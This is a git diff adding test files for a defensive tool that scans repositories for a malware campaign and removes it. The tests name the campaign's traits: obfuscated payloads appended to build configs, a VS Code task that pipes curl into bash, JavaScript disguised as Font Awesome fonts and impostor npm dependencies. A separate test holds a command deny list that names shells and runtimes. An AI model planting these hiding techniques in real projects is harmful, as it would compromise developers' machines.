assert.ok(gi.includes(".env"), ".env pattern ensured"); +}); + +test("dry run reports planned changes without writing", async () => { + const repo = await makeRepo({ "postcss.config.mjs": infectedConfig(ORIGINAL_PAYLOAD) }); + const findings = await scanRepo(repo); + const before = await fs.readFile(path.join(repo, "postcss.config.mjs"), "utf8"); + const result = await remediate(repo, findings, { dryRun: true, git: noGit }); + assert.equal(result.changed, false); + assert.ok(result.applied.length >= 1); + const after = await fs.readFile(path.join(repo, "postcss.config.mjs"), "utf8"); + assert.equal(after, before, "dry run must not modify the file"); +}); + +test("does not touch unrelated files when remediating", async () => { + const repo = await makeRepo({ + "postcss.config.mjs": infectedConfig(ORIGINAL_PAYLOAD), + "README.md": "# Hello\nThis file is innocent.\n", + "src/util.js": `export const add = (a, b) => a + b;\n`, + }); + const readmeBefore = await fs.readFile(path.join(repo, "README.md"), "utf8"); + const utilBefore = await fs.readFile(path.join(repo, "src/util.js"), "utf8"); + const findings = await scanRepo(repo); + await remediate(repo, findings, { git: noGit }); + assert.equal(await fs.readFile(path.join(repo, "README.md"), "utf8"), readmeBefore); + assert.equal(await fs.readFile(path.join(repo, "src/util.js"), "utf8"), utilBefore); +}); + +test("manual-review-only infection makes no automated file changes", async () => { + const repo = await makeRepo({ + "package.json": JSON.stringify({ name: "x", dependencies: { "tailwind-autoanimation": "1.0.0" } }), + ".gitignore": ".env\n.env.local\n.env.*.local\n.env.production\n.env.development\n", + }); + const findings = await scanRepo(repo); + assert.equal(findings.severity, "infected"); + const result = await remediate(repo, findings, { git: noGit }); + assert.equal(result.changed, false, "no auto-fixable changes for an impostor dep"); + assert.equal(result.skipped.length >= 1, true); +}); diff --git a/test/report.test.js b/test/report.test.js new file mode 100644 index 0000000..a7aaf50 --- /dev/null +++ b/test/report.test.js @@ -0,0 +1,130 @@ +import { test } from "node:test"; +import assert from "node:assert/strict"; +import { buildRunJson, buildRunMarkdown } from "../src/report.js"; + +function sampleRun(overrides = {}) { + return { + scannedAt: "2026-06-01T12:00:00.000Z", + scannedAtHuman: "Mon Jun 01 2026 12:00:00", + account: { kind: "org", owner: "RMSoft-ltd" }, + dryRun: false, + autoMerge: true, + mergeMethod: "squash", + totals: { + total: 4, + clean: 1, + infected: 3, + remediated: 2, + merged: 1, + prOpened: 2, + manualOnly: 1, + errors: 1, + }, + repos: [ + { + repo: "RMSoft-ltd/clean-app", + severity: "clean", + findings: [], + deleted: [], + modified: [], + notes: [], + manualReview: [], + pr: null, + error: null, + }, + { + repo: "RMSoft-ltd/web", + severity: "infected", + findings: [ + { + file: ".vscode", + action: "remove-dir", + confidence: "high", + contentConfirmed: true, + description: "malicious task", + }, + ], + deleted: [".vscode", "public/fonts"], + modified: ["vite.config.js"], + notes: ["removed malware-injected entries from .gitignore"], + manualReview: [], + pr: { + url: "https://github.com/RMSoft-ltd/web/pull/7", + merged: true, + mergeError: null, + }, + error: null, + }, + { + repo: "RMSoft-ltd/api", + severity: "infected", + findings: [], + deleted: [], + modified: ["postcss.config.mjs"], + notes: [], + manualReview: [], + pr: { + url: "https://github.com/RMSoft-ltd/api/pull/3", + merged: false, + mergeError: "required status checks have not passed", + }, + error: null, + }, + { + repo: "RMSoft-ltd/mob", + severity: "infected", + findings: [], + deleted: [], + modified: [], + notes: [], + manualReview: ["package.json: impostor dependency"], + pr: null, + error: null, + }, + ], + ...overrides, + }; +} + +test("buildRunMarkdown renders clickable PR links and merge status", () => { + const md = buildRunMarkdown(sampleRun()); + assert.match(md, /\[#7\]\(https:\/\/github\.com\/RMSoft-ltd\/web\/pull\/7\)/); + assert.match(md, /✅ merged/); + assert.match(md, /⚠️ merge blocked/); + assert.match(md, /\| Repository \| Pull request \| Status \| Changes \|/); + assert.match(md, /removed: \.vscode, public\/fonts/); +}); + +test("buildRunMarkdown surfaces a Needs attention section", () => { + const md = buildRunMarkdown(sampleRun()); + assert.match(md, /## Needs attention/); + assert.match(md, /auto-merge blocked: required status checks/); + assert.match(md, /manual review: package\.json: impostor dependency/); +}); + +test("buildRunMarkdown reflects account, mode, and totals", () => { + const md = buildRunMarkdown(sampleRun()); + assert.match(md, /\*\*Account:\*\* org `RMSoft-ltd`/); + assert.match(md, /auto-merge: on \(squash\)/); + assert.match(md, /\| PRs merged \| 1 \|/); +}); + +test("dry-run mode is labeled and omits the merged row", () => { + const md = buildRunMarkdown(sampleRun({ dryRun: true, autoMerge: false })); + assert.match(md, /DRY RUN/); + assert.match(md, /auto-merge: off/); + assert.ok(!md.includes("PRs merged")); +}); + +test("buildRunJson tags a schema and preserves the repos array", () => { + const run = sampleRun(); + const json = buildRunJson(run); + assert.equal(json.schema, "polinrider-run/1"); + assert.equal(json.repos.length, 4); + assert.equal(json.totals.merged, 1); + // round-trips through JSON + assert.deepEqual(JSON.parse(JSON.stringify(json)).account, { + kind: "org", + owner: "RMSoft-ltd", + }); +}); diff --git a/test/safe-exec.test.js b/test/safe-exec.test.js new file mode 100644 index 0000000..d67fa30 --- /dev/null +++ b/test/safe-exec.test.js @@ -0,0 +1,52 @@ +import { test } from "node:test"; +import assert from "node:assert/strict"; +import os from "node:os"; +import { assertAllowed, CommandNotAllowedError, safeExec, buildGitArgs } from "../src/safe-exec.js"; + +test("rejects non-allowlisted commands (no node/bash/sh/npm/etc.)", () => { + for (const cmd of ["node", "nodejs", "bash", "sh", "zsh", "npm", "npx", "yarn", "pnpm", "deno", "bun", "python", "env"]) { + assert.throws(() => assertAllowed(cmd, ["-e", "payload"]), CommandNotAllowedError, cmd); + } +}); + +test("rejects path-bearing commands", () => { + assert.throws(() => assertAllowed("/usr/bin/git", ["status"]), CommandNotAllowedError); + assert.throws(() => assertAllowed("./git", ["status"]), CommandNotAllowedError); + assert.throws(() => assertAllowed("git\\..\\node", ["x"]), CommandNotAllowedError); +}); + +test("rejects disallowed subcommands for git and gh", () => { + assert.throws(() => assertAllowed("git", ["daemon"]), CommandNotAllowedError); + assert.throws(() => assertAllowed("git", ["-C", "/x", "for-each-ref"]), CommandNotAllowedError); + assert.throws(() => assertAllowed("gh", ["auth", "token"]), CommandNotAllowedError); + assert.throws(() => assertAllowed("gh", []), CommandNotAllowedError); +}); + +test("allows expected subcommands, skipping leading -C/-c value options", () => { + assert.deepEqual(assertAllowed("git", ["-C", "/x", "commit", "-m", "y"]), { cmd: "git", sub: "commit" }); + assert.deepEqual(assertAllowed("git", ["-c", "core.hooksPath=/dev/null", "clone", "url", "d"]), { + cmd: "git", + sub: "clone", + }); + assert.deepEqual(assertAllowed("gh", ["api", "orgs/x/repos"]), { cmd: "gh", sub: "api" }); + assert.deepEqual(assertAllowed("gh", ["pr", "create"]), { cmd: "gh", sub: "pr" }); +}); + +test("safeExec throws synchronously (not a rejected promise) on a violation", () => { + assert.throws(() => safeExec("node", ["-e", "1"]), CommandNotAllowedError); +}); + +test("buildGitArgs disables hooks and adds --no-verify to commit/push only", () => { + const commit = buildGitArgs(["-C", "/x", "commit", "-m", "msg"]); + assert.equal(commit[0], "-c"); + assert.ok(commit[1] === `core.hooksPath=${os.devNull}`); + assert.ok(commit.includes("--no-verify")); + + const push = buildGitArgs(["-C", "/x", "push", "url", "branch"]); + assert.ok(push.includes("--no-verify")); + + const clone = buildGitArgs(["clone", "--depth=1", "url", "d"]); + assert.ok(!clone.includes("--no-verify"), "clone must not get --no-verify"); + assert.equal(clone[0], "-c"); + assert.ok(clone[1].startsWith("core.hooksPath=")); +}); diff --git a/test/safety.test.js b/test/safety.test.js new file mode 100644 index 0000000..a8a4fd8 --- /dev/null +++ b/test/safety.test.js @@ -0,0 +1,33 @@ +import { test } from "node:test"; +import assert from "node:assert/strict"; +import { execa } from "execa"; +import { fileURLToPath } from "node:url"; + +const probe = fileURLToPath(new URL("./_safety-probe.mjs", import.meta.url)); +const entry = fileURLToPath(new URL("../src/index.js", import.meta.url)); + +test("Layer 3 in-code guards block eval / Function / vm / process.binding", async () => { + const r = await execa(process.execPath, [probe], { reject: false }); + assert.equal(r.exitCode, 0, r.stderr || r.stdout); + assert.match(r.stdout, /safety-probe OK/); +}); + +test("Layer 2 V8 flag also blocks codegen (defense in depth)", async () => { + const r = await execa(process.execPath, ["--disallow-code-generation-from-strings", probe], { + reject: false, + }); + assert.equal(r.exitCode, 0, r.stderr || r.stdout); +}); + +test("orchestrator imports cleanly under the hardening flag (dependency canary)", async () => { + // Import index.js (without running main) under the flag. If execa/chalk/ora or + // any transitive dep needs eval/new Function at import time, this exits non-zero. + const code = `await import(${JSON.stringify(entry)}); console.log("import OK");`; + const r = await execa( + process.execPath, + ["--disallow-code-generation-from-strings", "--input-type=module", "-e", code], + { reject: false }, + ); + assert.equal(r.exitCode, 0, r.stderr || r.stdout); + assert.match(r.stdout, /import OK/); +}); diff --git a/test/scanner.test.js b/test/scanner.test.js new file mode 100644 index 0000000..22f34b2 --- /dev/null +++ b/test/scanner.test.js @@ -0,0 +1,229 @@ +import { test, after } from "node:test"; +import assert from "node:assert/strict"; +import { scanRepo } from "../src/scanner.js"; +import { + makeRepo, + cleanupAll, + LEGIT_CONFIG, + LEGIT_TASKS, + LEGIT_LAUNCH, + INFECTED_TASKS, + INFECTED_TASKS_NODE, + ORIGINAL_PAYLOAD, + ROTATED_PAYLOAD, + GENERIC_PAYLOAD, + infectedConfig, + goodFont, + evilFont, + validSfnt, +} from "./helpers.js"; + +after(cleanupAll); + +const byId = (findings, id) => findings.findings.find((f) => f.id === id); + +test("clean repo → severity clean, zero findings", async () => { + // A normal repo with legit VS Code tasks + referenced fonts (but not the full + // tasks+launch+fonts malware triad) must come back completely clean. + const repo = await makeRepo({ + "postcss.config.js": LEGIT_CONFIG, + "src/App.jsx": `export default function App(){ return null; }\n`, + ".vscode/tasks.json": LEGIT_TASKS, + "public/fonts/inter.woff2": goodFont(), + "src/index.css": `@font-face{src:url('/fonts/inter.woff2');}`, + "package.json": JSON.stringify({ name: "x", dependencies: { react: "^18" } }), + ".gitignore": ".env\nnode_modules\n", + }); + const f = await scanRepo(repo); + assert.equal(f.severity, "clean"); + assert.equal(f.findings.length, 0); + assert.equal(f.hasContentConfirmed, false); + assert.equal(f.coPresenceAmplified, false); +}); + +test("original variant payload → confirmed strip finding, infected", async () => { + const repo = await makeRepo({ "postcss.config.mjs": infectedConfig(ORIGINAL_PAYLOAD) }); + const f = await scanRepo(repo); + assert.equal(f.severity, "infected"); + const finding = byId(f, "js.payload.original"); + assert.ok(finding, "expected original-variant finding"); + assert.equal(finding.action, "strip-js-payload"); + assert.equal(finding.contentConfirmed, true); + assert.ok(finding.edit.offset > 0); +}); + +test("rotated variant payload → confirmed strip finding", async () => { + const repo = await makeRepo({ "tailwind.config.js": infectedConfig(ROTATED_PAYLOAD) }); + const f = await scanRepo(repo); + const finding = byId(f, "js.payload.rotated"); + assert.ok(finding, "expected rotated-variant finding"); + assert.equal(finding.action, "strip-js-payload"); + assert.equal(finding.contentConfirmed, true); +}); + +test("generic obfuscation → manual-review only, suspicious (not infected)", async () => { + const repo = await makeRepo({ "src/App.js": infectedConfig(GENERIC_PAYLOAD) }); + const f = await scanRepo(repo); + const finding = byId(f, "js.payload.heuristic"); + assert.ok(finding, "expected heuristic finding"); + assert.equal(finding.action, "manual-review"); + assert.equal(finding.contentConfirmed, false); + assert.equal(f.severity, "suspicious"); + assert.equal(f.hasContentConfirmed, false); +}); + +test("malicious .vscode (curl|bash C2 task) → whole-dir remove finding", async () => { + const repo = await makeRepo({ ".vscode/tasks.json": INFECTED_TASKS, ".vscode/settings.json": "{}" }); + const f = await scanRepo(repo); + const finding = byId(f, "vscode.malicious"); + assert.ok(finding, "expected vscode finding"); + assert.equal(finding.action, "remove-dir"); + assert.equal(finding.contentConfirmed, true); + assert.match(finding.edit.absPath, /\.vscode$/); + assert.equal(f.severity, "infected"); +}); + +test("malicious .vscode (node executes a font on folderOpen) → detected", async () => { + const repo = await makeRepo({ ".vscode/tasks.json": INFECTED_TASKS_NODE }); + const f = await scanRepo(repo); + const finding = byId(f, "vscode.malicious"); + assert.ok(finding, "the node-runs-a-font task must be detected"); + assert.equal(finding.action, "remove-dir"); + assert.equal(f.severity, "infected"); +}); + +test("carrier + referenced clean font in public/fonts → remove-font-set preserves the clean font", async () => { + const repo = await makeRepo({ + "public/fonts/evil.woff2": evilFont(), + "public/fonts/good.woff2": goodFont(), + "src/app.css": `@font-face{src:url('/fonts/good.woff2');}`, + }); + const f = await scanRepo(repo); + const fontFindings = f.findings.filter((x) => x.category === "font"); + assert.equal(fontFindings.length, 1); + assert.equal(fontFindings[0].action, "remove-font-set"); + assert.equal(f.severity, "infected"); + const removed = fontFindings[0].edit.removals.map((r) => r.rel); + assert.ok(removed.some((p) => /evil\.woff2$/.test(p)), "evil font removed"); + assert.ok(!removed.some((p) => /good\.woff2$/.test(p)), "referenced clean font preserved"); +}); + +test("infected fa font in a mixed dir → remove infected + fa-set + README, keep clean non-fa fonts", async () => { + const repo = await makeRepo({ + "public/fonts/fa-solid-400.woff2": evilFont(), // JS carrier disguised as Font Awesome + "public/fonts/fa-brands-400.woff2": goodFont(), // clean FA sibling (still removed) + "public/fonts/fa-regular-400.ttf": validSfnt(), // clean FA sibling (still removed) + "public/fonts/README.md": "# Font Awesome", + "public/fonts/gill-sans/GillSans-Bold.otf": validSfnt("Copyright"), // clean, NOT fa → keep + "public/fonts/gill-sans/README.md": "# Gill Sans license", // nested legit README → keep + }); + const f = await scanRepo(repo); + assert.equal(f.severity, "infected"); + const finding = byId(f, "font.carrier-set"); + assert.ok(finding, "expected remove-font-set finding"); + assert.equal(finding.action, "remove-font-set"); + assert.equal(finding.contentConfirmed, true); + const removed = finding.edit.removals.map((r) => r.rel); + assert.equal(removed.length, 4, JSON.stringify(removed)); + for (const name of ["fa-solid-400.woff2", "fa-brands-400.woff2", "fa-regular-400.ttf", "README.md"]) { + assert.ok(removed.some((p) => p.endsWith(name)), `${name} should be removed`); + } + // The nested clean subdir — including its own README — must be untouched. + assert.ok(!removed.some((p) => p.includes("gill-sans")), "gill-sans must be preserved"); +}); + +test("referenced file that is a JS payload (not a valid font) → manual review, never auto-deleted", async () => { + const repo = await makeRepo({ + "public/fonts/webfont.woff2": evilFont(), // JS payload, but wired into the build + "src/app.js": `import "./public/fonts/webfont.woff2";`, + }); + const f = await scanRepo(repo); + const finding = byId(f, "font.referenced-carrier"); + assert.ok(finding, "referenced carrier must be surfaced, not silently trusted"); + assert.equal(finding.action, "manual-review"); + assert.equal(finding.contentConfirmed, false); + assert.equal(f.severity, "suspicious"); + const autoRemoved = ["delete-font", "remove-font-set", "remove-dir"]; + assert.ok( + !f.findings.some((x) => autoRemoved.includes(x.action)), + "a referenced file must never be auto-deleted", + ); +}); + +test("dir of only infected + fa-set + README → whole-dir removal", async () => { + const repo = await makeRepo({ + "public/fonts/fa-solid-400.woff2": evilFont(), + "public/fonts/fa-brands-400.woff2": goodFont(), + "public/fonts/README.md": "# FA", + }); + const f = await scanRepo(repo); + assert.equal(f.severity, "infected"); + const finding = byId(f, "font.carrier-dir"); + assert.ok(finding, "expected whole-dir removal"); + assert.equal(finding.action, "remove-dir"); + assert.match(finding.edit.absPath, /public[\\/]fonts$/); +}); + +test("valid fa-named fonts, no payload → medium (suspicious) manual review, no removal", async () => { + const repo = await makeRepo({ + "public/fonts/fa-solid-900.woff2": goodFont(), + "public/fonts/fa-brands-400.ttf": validSfnt(), + }); + const f = await scanRepo(repo); + assert.equal(f.severity, "suspicious"); + assert.equal(f.hasContentConfirmed, false); + const finding = byId(f, "font.review"); + assert.ok(finding, "expected fa manual-review finding"); + assert.equal(finding.action, "manual-review"); + assert.equal(finding.contentConfirmed, false); +}); + +test("unreferenced but structurally valid non-fa fonts → clean, no findings", async () => { + const repo = await makeRepo({ + "public/fonts/inter.woff2": goodFont(), + "public/fonts/roboto.otf": validSfnt("Copyright"), + }); + const f = await scanRepo(repo); + assert.equal(f.severity, "clean"); + assert.equal(f.findings.filter((x) => x.category === "font").length, 0); +}); + +test("artifacts + injected .gitignore lines detected", async () => { + const repo = await makeRepo({ + "temp_auto_push.bat": "echo malware", + "config.bat": "echo orchestrator", + "branch_structure.json": "{}", + ".gitignore": "node_modules\nconfig.bat\ntemp_auto_push.bat\nbranch_structure.json\n", + }); + const f = await scanRepo(repo); + assert.ok(byId(f, "artifact.temp_auto_push.bat")); + assert.ok(byId(f, "artifact.config.bat")); + assert.ok(byId(f, "artifact.branch_structure.json")); + assert.ok(byId(f, "gitignore.injected")); + assert.equal(f.severity, "infected"); +}); + +test("impostor dependency flagged for manual review (confirmed)", async () => { + const repo = await makeRepo({ + "package.json": JSON.stringify({ name: "x", dependencies: { "tailwind-mainanimation": "1.0.0" } }), + }); + const f = await scanRepo(repo); + const finding = byId(f, "package.impostor-deps"); + assert.ok(finding); + assert.equal(finding.action, "manual-review"); + assert.equal(finding.contentConfirmed, true); + assert.equal(f.severity, "infected"); +}); + +test("co-presence raises severity but does not mark infected without payload", async () => { + const repo = await makeRepo({ + ".vscode/tasks.json": LEGIT_TASKS, + ".vscode/launch.json": LEGIT_LAUNCH, + "public/fonts/inter.woff2": goodFont(), + "src/index.css": `@font-face{src:url('/fonts/inter.woff2');}`, + }); + const f = await scanRepo(repo); + assert.equal(f.coPresenceAmplified, true); + assert.equal(f.hasContentConfirmed, false); + assert.equal(f.severity, "suspicious"); +});